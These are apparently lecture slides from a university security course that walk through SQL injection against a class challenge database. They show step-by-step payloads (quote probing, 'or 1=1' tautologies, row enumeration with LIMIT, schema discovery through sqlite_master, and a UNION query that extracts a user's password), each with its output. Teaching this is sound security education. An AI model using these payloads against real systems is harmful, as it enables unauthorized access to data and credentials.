

CS177

SQL Injection (Examples)

Use VPN for SQL Challenge

- Without VPN, some connections that are similar to SQL injection are being dropped somewhere in the campus network!
 - Outside connections!
 - Use VPN service provided by the university! That solves the issue
 - <https://www.it.ucsb.edu/vpn>

General Steps for SQL Injection

- Which forms/fields are vulnerable to SQL injection?
- What is SQL database engine?
- What is the query?
- What are the tables?
- What are the columns?
- How is the post-query processing?

Example

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Let's test for SQL injection!

input:

foo'

output:

Query failed: "Select * from student where username='foo'"

Error: unrecognized token: "'foo'"

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Let's fetch all names!

input:

foo' or 1=1--

output:

username: foo' or 1=1--, name: Dongyu Meng

But what about other names?

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inputs:

foo' or 1=1 limit i,1--

for i=1,2,3

outputs:

username: foo' or 1=1 limit 1,1--, name: Lukas Dresel

username: foo' or 1=1 limit 2,1--, name: Hojjat Aghakhani

username: foo' or 1=1 limit 3,1--, name: Christopher Kruegel

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But who cares about names?
I want to know everything!

First, we need to know the structure of the table:
What are the columns?
sqlite_master table has useful information:
tbl_name, sql columns

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input:

foo' union select * from sqlite_master where
tbl_name='student'

output:

Query failed: "Select * from student where
username='foo' union select * from sqlite_master
where tbl_name='student'"

Error: SELECTs to the left and right of UNION
do not have the same number of result columns

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It seems we need to know the number of columns first!!
input:

foo' union select sql, sql, sql, sql from sqlite_master where
tbl_name='student

output:

username: foo' union select sql, sql, sql, sql from sqlite_master
where tbl_name='student, name: CREATE TABLE student (
"username" TEXT,
"passwd" TEXT,
"perm" TEXT,
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)

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So we have these columns (ordered):

username, passwd, perm, name

Note that we used to see the results for column “name,” which is the **third** column!

So, in the second select clause, we should put the interesting column as the third one in the query!

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input:

foo' union select null, null, null, passwd from student where username='9yte

output:

username: foo' union select null, null, null, passwd from student where username='9yte, name: 899fdskjfkdsj

Question?
